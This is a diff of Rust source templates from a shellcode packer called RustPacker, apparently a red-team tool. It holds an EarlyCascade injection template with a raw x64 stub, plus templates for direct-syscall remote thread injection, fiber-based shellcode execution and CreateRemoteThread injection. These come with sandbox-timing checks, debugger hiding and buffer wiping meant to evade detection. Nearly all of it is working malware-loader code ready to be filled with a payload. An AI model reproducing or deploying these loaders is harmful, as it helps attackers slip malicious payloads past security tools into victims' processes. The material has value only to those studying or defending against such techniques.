if name_arr == *b".data\0\0\0" {
data_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
data_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
}
}
for pat in patterns {
let mut cur = 0usize;
while let Some(off) = find_pattern(&mem[cur..], &pat.data[..pat.size as usize]) {
cur += off + pat.size as usize;
let ptr = search_start + cur as u64;
if unsafe { *((ptr + 3) as *const u8) } != 0 {
continue;
}
let rel = unsafe { *(ptr as *const i32) };
let addr = ptr.wrapping_add(rel as u64).wrapping_add(pat.pc_off as u64);
if addr >= ntdll_base + data_va && addr < ntdll_base + data_va + data_size {
return Some(addr);
}
}
}
None
}
+182
View File
@@ -0,0 +1,182 @@
// EarlyCascade Injection
// Integrated into RustPacker's template pipeline.
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use std::include_bytes;
use std::mem::zeroed;
use std::ptr::{null, null_mut};
use windows_sys::Win32::{
Foundation::CloseHandle,
System::{
Diagnostics::Debug::WriteProcessMemory,
LibraryLoader::GetModuleHandleA,
Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx},
Threading::{
CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, ResumeThread, STARTUPINFOA,
TerminateProcess,
},
},
};
use windows_sys::core::s;
mod core_file;
mod stubs;
use core_file::{encode_system_ptr, find_pattern, find_se_dll_loaded, find_shims_enabled};
use stubs::STUB;
{{IMPORTS}}
{{SANDBOX_IMPORTS}}
{{DECRYPTION_FUNCTION}}
fn wipe(buf: &mut Vec<u8>) {
for b in buf.iter_mut() {
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
}
buf.clear();
}
// Called by {{NT_DELAY_*}} placeholders when the nt_delay evasion is selected.
#[allow(dead_code)]
fn pause(ms: u64) {
std::thread::sleep(std::time::Duration::from_millis(ms));
}
unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) {
let si = zeroed::<STARTUPINFOA>();
let mut pi = zeroed::<PROCESS_INFORMATION>();
let success = CreateProcessA(
null(),
target_process.as_ptr() as _,
null(),
null(),
0,
CREATE_SUSPENDED,
null(),
null(),
&si,
&mut pi,
);
if success == 0 {
return;
}
{{NT_DELAY_STEP}}
let ntdll = GetModuleHandleA(s!("ntdll.dll")) as u64;
if ntdll == 0 {
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
let (se_dll_loaded, offset_addr) = match find_se_dll_loaded(ntdll) {
Some(x) => x,
None => {
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
};
let shims_enabled = match find_shims_enabled(ntdll, offset_addr) {
Some(x) => x,
None => {
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
};
let remote_mem = VirtualAllocEx(
pi.hProcess,
null_mut(),
STUB.len() + shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if remote_mem.is_null() {
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
{{NT_DELAY_STEP}}
let stub_addr = remote_mem as u64;
let shell_addr = stub_addr + STUB.len() as u64;
let placeholder = find_pattern(STUB, &[0x11; 8]).unwrap_or(0);
let mut patched_stub = STUB.to_vec();
patched_stub[placeholder..placeholder + 8]
.copy_from_slice(&shims_enabled.to_le_bytes());
WriteProcessMemory(
pi.hProcess,
remote_mem,
patched_stub.as_ptr() as _,
patched_stub.len(),
null_mut(),
);
WriteProcessMemory(
pi.hProcess,
shell_addr as _,
shellcode.as_ptr() as _,
shellcode.len(),
null_mut(),
);
let encoded_ptr = encode_system_ptr(stub_addr);
WriteProcessMemory(
pi.hProcess,
se_dll_loaded as _,
&encoded_ptr as *const _ as _,
8,
null_mut(),
);
let enable: u8 = 1;
WriteProcessMemory(
pi.hProcess,
shims_enabled as _,
&enable as *const _ as _,
1,
null_mut(),
);
{{NT_DELAY_STEP}}
{{NT_DELAY_FINAL}}
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
fn main() {
{{NT_DELAY_AT_START}}
{{SANDBOX}}
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
// Process name must be NUL-terminated for CreateProcessA.
let target = b"{{TARGET_PROCESS}}\0";
unsafe { cascade(&vec, target); }
wipe(&mut vec);
}
{{DLL_MAIN}}
+45
View File
@@ -0,0 +1,45 @@
// Extracted EarlyCascade x64 stub.
// Source: stub_calc/stub.bin.
//
// The 8-byte placeholder `0x11 * 8` at runtime gets patched with the
// resolved &g_ShimsEnabled address before being written into the target
// process.
pub const STUB: &[u8] = &[
0x55, 0x56, 0x57, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x52, 0x18, 0x48, 0x8D, 0x52, 0x20, 0x52, 0x48, 0x8B, 0x12,
0x48, 0x8B, 0x12, 0x48, 0x3B, 0x14, 0x24, 0x0F, 0x84, 0xA2, 0x00, 0x00,
0x00, 0x48, 0xFF, 0xC5, 0x48, 0xFF, 0xCD, 0x74, 0x00, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 0x48, 0xD1, 0xE9, 0x48, 0x83, 0xC1,
0x08, 0x48, 0x83, 0xE1, 0xF0, 0x48, 0x29, 0xCC, 0x49, 0x89, 0xCA, 0x48,
0x31, 0xC9, 0x48, 0x31, 0xC0, 0x66, 0xAD, 0x84, 0xC0, 0x74, 0x19, 0x48,
0xA9, 0x78, 0x56, 0x00, 0x00, 0x90, 0x3C, 0x41, 0x72, 0x06, 0x3C, 0x5A,
0x77, 0x02, 0x04, 0x20, 0x88, 0x04, 0x0C, 0x48, 0xFF, 0xC1, 0xEB, 0xDE,
0xC6, 0x04, 0x0C, 0x00, 0x48, 0x89, 0xE6, 0xE8, 0x0B, 0x01, 0x00, 0x00,
0x4C, 0x01, 0xD4, 0x48, 0xBE, 0x0A, 0xF7, 0x3F, 0x0F, 0xC4, 0x25, 0x19,
0x32, 0x48, 0x39, 0xFE, 0x74, 0x8E, 0x48, 0xBE, 0xB2, 0x28, 0x6E, 0x1E,
0x98, 0x4E, 0xE5, 0x04, 0x48, 0x39, 0xFE, 0x0F, 0x84, 0x7B, 0xFF, 0xFF,
0xFF, 0x48, 0xBE, 0x2D, 0xEA, 0x5D, 0xE5, 0xAE, 0x7B, 0x22, 0xC2, 0x48,
0x39, 0xFE, 0x0F, 0x84, 0x68, 0xFF, 0xFF, 0xFF, 0xE8, 0x05, 0x00, 0x00,
0x00, 0xE9, 0xC1, 0x00, 0x00, 0x00, 0x58, 0x48, 0x89, 0x42, 0x28, 0x48,
0x31, 0xED, 0xE9, 0x51, 0xFF, 0xFF, 0xFF, 0x5A, 0x48, 0xB8, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0xC6, 0x00, 0x00, 0x48, 0x8B, 0x12,
0x48, 0x8B, 0x12, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x31, 0xC0, 0x8B, 0x42,
0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x0F, 0x85,
0x83, 0x00, 0x00, 0x00, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01,
0xD0, 0x50, 0x4D, 0x31, 0xDB, 0x44, 0x8B, 0x58, 0x20, 0x49, 0x01, 0xD3,
0x48, 0x31, 0xC9, 0x8B, 0x48, 0x18, 0x51, 0x48, 0x85, 0xC9, 0x74, 0x6B,
0x48, 0x31, 0xF6, 0x41, 0x8B, 0x33, 0x48, 0x01, 0xD6, 0xE8, 0x61, 0x00,
0x00, 0x00, 0x49, 0x83, 0xC3, 0x04, 0x48, 0xFF, 0xC9, 0x48, 0xBE, 0xF9,
0x2D, 0xBF, 0xD3, 0xD1, 0x96, 0x9C, 0x5D, 0x48, 0x39, 0xFE, 0x75, 0xD7,
0x58, 0xFF, 0xC1, 0x29, 0xC8, 0x91, 0x58, 0x44, 0x8B, 0x58, 0x24, 0x49,
0x01, 0xD3, 0x66, 0x41, 0x8B, 0x0C, 0x4B, 0x44, 0x8B, 0x58, 0x1C, 0x49,
0x01, 0xD3, 0x41, 0x8B, 0x04, 0x8B, 0x48, 0x01, 0xD0, 0xEB, 0x4D, 0x48,
0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0x5A, 0x4D, 0x31, 0xC0, 0x4D, 0x31,
0xC9, 0x41, 0x51, 0x41, 0x51, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48,
0x83, 0xC4, 0x30, 0x5F, 0x5E, 0x5D, 0x90, 0x48, 0x31, 0xC0, 0xC3, 0x59,
0x58, 0xEB, 0xF4, 0xBF, 0x37, 0x13, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xAC,
0x38, 0xE0, 0x74, 0x17, 0x48, 0x83, 0xF0, 0x5A, 0x48, 0xC1, 0xC7, 0x03,
0x49, 0x89, 0xF8, 0x48, 0xC1, 0xE7, 0x06, 0x4C, 0x01, 0xC7, 0x48, 0x01,
0xC7, 0xEB, 0xE1, 0xC3, 0xE8, 0xAE, 0xFF, 0xFF, 0xFF,
];
+13
View File
@@ -0,0 +1,13 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# Local shellcodes used for tests
*.bin
+22
View File
@@ -0,0 +1,22 @@
[package]
name = "sysCRT"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
sysinfo = "0.38"
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winnt", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "sysinfoapi"] }
{{DEPENDENCIES}}
[profile.release]
strip = true # Automatically strip symbols from the binary.
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = true
+165
View File
@@ -0,0 +1,165 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use sysinfo::System;
use std::include_bytes;
use dyncvoke::dyncvoke_core::syscall;
use winapi::{
um::{
winnt::{MEM_COMMIT, PAGE_READWRITE, MEM_RESERVE, PROCESS_ALL_ACCESS}
},
shared::{
ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS}
}
};
use winapi::ctypes::c_void;
use winapi::um::winnt::PAGE_EXECUTE_READ;
use winapi::um::winnt::THREAD_ALL_ACCESS;
use std::{ptr::null_mut};
use ntapi::ntapi_base::CLIENT_ID;
use ntapi::ntpsapi::THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER;
use winapi::shared::ntdef::NULL;
use std::time::Instant;
{{IMPORTS}}
{{SANDBOX_IMPORTS}}
{{DECRYPTION_FUNCTION}}
fn boxboxbox(tar: &str) -> Vec<usize> {
let mut dom: Vec<usize> = Vec::new();
let s = System::new_all();
let tar_lower = tar.to_lowercase();
for (_, pro) in s.processes() {
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
}
}
dom
}
fn pause(ms: i64) {
let interval: i64 = -(ms * 10_000);
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
}
fn check_environment() -> bool {
let start = Instant::now();
pause(3000);
start.elapsed().as_millis() >= 2500
}
fn wipe(buf: &mut Vec<u8>) {
for b in buf.iter_mut() {
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
}
buf.clear();
}
fn enhance(mut buf: Vec<u8>, tar: usize) {
let mut process_handle = tar as HANDLE;
let mut oa = OBJECT_ATTRIBUTES::default();
let mut ci = CLIENT_ID {
UniqueProcess: process_handle,
UniqueThread: null_mut(),
};
unsafe {
let s = syscall!("NtOpenProcess",
&mut process_handle as *mut HANDLE,
PROCESS_ALL_ACCESS,
&mut oa as *mut OBJECT_ATTRIBUTES,
&mut ci as *mut CLIENT_ID
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
pause(150);
{{NT_DELAY_STEP}}
let mut base: *mut c_void = null_mut();
let mut size: usize = buf.len();
let s = syscall!("NtAllocateVirtualMemory",
process_handle,
&mut base as *mut *mut c_void,
0usize,
&mut size as *mut usize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
pause(200);
{{NT_DELAY_STEP}}
let buf_len = buf.len();
let mut written: usize = 0;
let s = syscall!("NtWriteVirtualMemory",
process_handle,
base,
buf.as_mut_ptr() as *mut c_void,
buf_len,
&mut written as *mut usize
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
wipe(&mut buf);
pause(150);
{{NT_DELAY_STEP}}
let mut old_perms = PAGE_READWRITE;
let mut psize = buf_len;
let s = syscall!("NtProtectVirtualMemory",
process_handle,
&mut base as *mut *mut c_void,
&mut psize as *mut usize,
PAGE_EXECUTE_READ,
&mut old_perms as *mut u32
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
pause(100);
{{NT_DELAY_STEP}}
{{NT_DELAY_FINAL}}
let mut thread_handle: *mut c_void = null_mut();
let _ = syscall!("NtCreateThreadEx",
&mut thread_handle as *mut *mut c_void,
THREAD_ALL_ACCESS,
NULL,
process_handle,
base,
NULL,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
0usize,
0usize,
0usize,
NULL
);
}
}
fn main() {
{{NT_DELAY_AT_START}}
{{SANDBOX}}
if !check_environment() { return; }
let tar: &str = "{{TARGET_PROCESS}}";
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
let list: Vec<usize> = boxboxbox(tar);
if !list.is_empty() {
for i in &list {
enhance(vec.clone(), *i);
}
}
}
{{DLL_MAIN}}
+13
View File
@@ -0,0 +1,13 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# Local shellcodes used for tests
*.bin
+32
View File
@@ -0,0 +1,32 @@
[package]
name = "sysFIBER"
version = "0.1.1"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winbase", "sysinfoapi", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
{{DEPENDENCIES}}
[dependencies.windows-sys]
version = "0.61"
features = [
"Win32_System_Memory",
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
]
[profile.release]
strip = true # Automatically strip symbols from the binary.
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = true
+119
View File
@@ -0,0 +1,119 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use std::ptr::null_mut;
use std::time::Instant;
use ntapi::ntpsapi::NtCurrentProcess;
use dyncvoke::dyncvoke_core::syscall;
use winapi::ctypes::c_void;
use winapi::{
shared::ntdef::NT_SUCCESS,
um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE},
};
use windows_sys::Win32::System::Threading::{
ConvertThreadToFiber, CreateFiberEx, SwitchToFiber, LPFIBER_START_ROUTINE,
};
use std::include_bytes;
{{SANDBOX_IMPORTS}}
{{IMPORTS}}
{{DECRYPTION_FUNCTION}}
fn pause(ms: i64) {
let interval: i64 = -(ms * 10_000);
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
}
fn check_environment() -> bool {
let start = Instant::now();
pause(3000);
start.elapsed().as_millis() >= 2500
}
fn wipe(buf: &mut Vec<u8>) {
for b in buf.iter_mut() {
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
}
buf.clear();
}
fn enhance(mut buf: Vec<u8>) {
unsafe {
let buf_len = buf.len();
let mut region_base: *mut c_void = null_mut();
let mut region_size: usize = buf_len;
let status = syscall!("NtAllocateVirtualMemory",
NtCurrentProcess,
&mut region_base as *mut *mut c_void,
0usize,
&mut region_size as *mut usize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
).unwrap_or(-1);
if !NT_SUCCESS(status) { return; }
pause(150);
{{NT_DELAY_STEP}}
let mut bytes_written: usize = 0;
let src = buf.as_mut_ptr() as *mut c_void;
let status = syscall!("NtWriteVirtualMemory",
NtCurrentProcess,
region_base,
src,
buf_len,
&mut bytes_written as *mut usize
).unwrap_or(-1);
if !NT_SUCCESS(status) { return; }
wipe(&mut buf);
pause(200);
{{NT_DELAY_STEP}}
let mut old_protect: u32 = 0;
let mut protect_size: usize = buf_len;
let status = syscall!("NtProtectVirtualMemory",
NtCurrentProcess,
&mut region_base as *mut *mut c_void,
&mut protect_size as *mut usize,
PAGE_EXECUTE_READ,
&mut old_protect as *mut u32
).unwrap_or(-1);
if !NT_SUCCESS(status) { return; }
pause(100);
{{NT_DELAY_STEP}}
{{NT_DELAY_FINAL}}
let fiber_func: LPFIBER_START_ROUTINE = std::mem::transmute(region_base);
let shellcode_fiber = CreateFiberEx(0, 0, 0, fiber_func, null_mut());
if shellcode_fiber.is_null() { return; }
let main_fiber = ConvertThreadToFiber(null_mut());
if main_fiber.is_null() { return; }
SwitchToFiber(shellcode_fiber);
}
}
fn main() {
{{NT_DELAY_AT_START}}
{{SANDBOX}}
if !check_environment() { return; }
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
enhance(vec);
}
{{DLL_MAIN}}
+13
View File
@@ -0,0 +1,13 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# Local shellcodes used for tests
*.bin
+34
View File
@@ -0,0 +1,34 @@
[package]
name = "winCRT"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
{{DLL_FORMAT}}
[dependencies]
sysinfo = "0.38"
winapi = { version = "0.3", features = ["ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt", "sysinfoapi"] }
{{DEPENDENCIES}}
[dependencies.windows]
version = "0.62"
features = [
"Win32_UI_Input_Pointer",
"Win32_Foundation",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_Security",
"Win32_UI_Input_Pointer",
"Win32_System_SystemInformation"
]
[profile.release]
strip = true # Automatically strip symbols from the binary.
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = true
+126
View File
@@ -0,0 +1,126 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use sysinfo::System;
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::VirtualAllocEx;
use windows::Win32::System::Memory::VirtualProtectEx;
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE};
use windows::Win32::System::Threading::CreateRemoteThread;
use windows::Win32::System::Threading::OpenProcess;
use windows::Win32::System::Threading::PROCESS_ALL_ACCESS;
use std::include_bytes;
use std::time::{Duration, Instant};
use std::thread;
{{IMPORTS}}
{{SANDBOX_IMPORTS}}
{{DECRYPTION_FUNCTION}}
fn boxboxbox(tar: &str) -> Vec<usize> {
let mut dom: Vec<usize> = Vec::new();
let s = System::new_all();
let tar_lower = tar.to_lowercase();
for (_, pro) in s.processes() {
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
}
}
dom
}
fn pause(ms: u64) {
thread::sleep(Duration::from_millis(ms));
}
fn check_environment() -> bool {
let start = Instant::now();
pause(3000);
start.elapsed().as_millis() >= 2500
}
fn wipe(buf: &mut Vec<u8>) {
for b in buf.iter_mut() {
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
}
buf.clear();
}
fn enhance(mut buf: Vec<u8>, tar: usize) {
unsafe {
let h_process = match OpenProcess(PROCESS_ALL_ACCESS, false, tar as u32) {
Ok(h) => h,
Err(_) => return,
};
pause(150);
{{NT_DELAY_STEP}}
let buf_len = buf.len();
let result_ptr = VirtualAllocEx(h_process, None, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
pause(200);
{{NT_DELAY_STEP}}
let mut byteswritten = 0;
let _ = WriteProcessMemory(
h_process,
result_ptr,
buf.as_ptr() as _,
buf_len,
Some(&mut byteswritten),
);
wipe(&mut buf);
pause(150);
{{NT_DELAY_STEP}}
let mut old_perms = PAGE_READWRITE;
let _ = VirtualProtectEx(
h_process,
result_ptr,
buf_len,
PAGE_EXECUTE_READ,
&mut old_perms,
);
pause(100);
{{NT_DELAY_STEP}}
{{NT_DELAY_FINAL}}
let _ = CreateRemoteThread(
h_process,
None,
0,
Some(std::mem::transmute(result_ptr)),
None,
0,
None,
);
}
}
fn main() {
{{NT_DELAY_AT_START}}
{{SANDBOX}}
if !check_environment() { return; }
let tar: &str = "{{TARGET_PROCESS}}";
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
let list: Vec<usize> = boxboxbox(tar);
if !list.is_empty() {
for i in &list {
enhance(vec.clone(), *i);
}
}
}
{{DLL_MAIN}}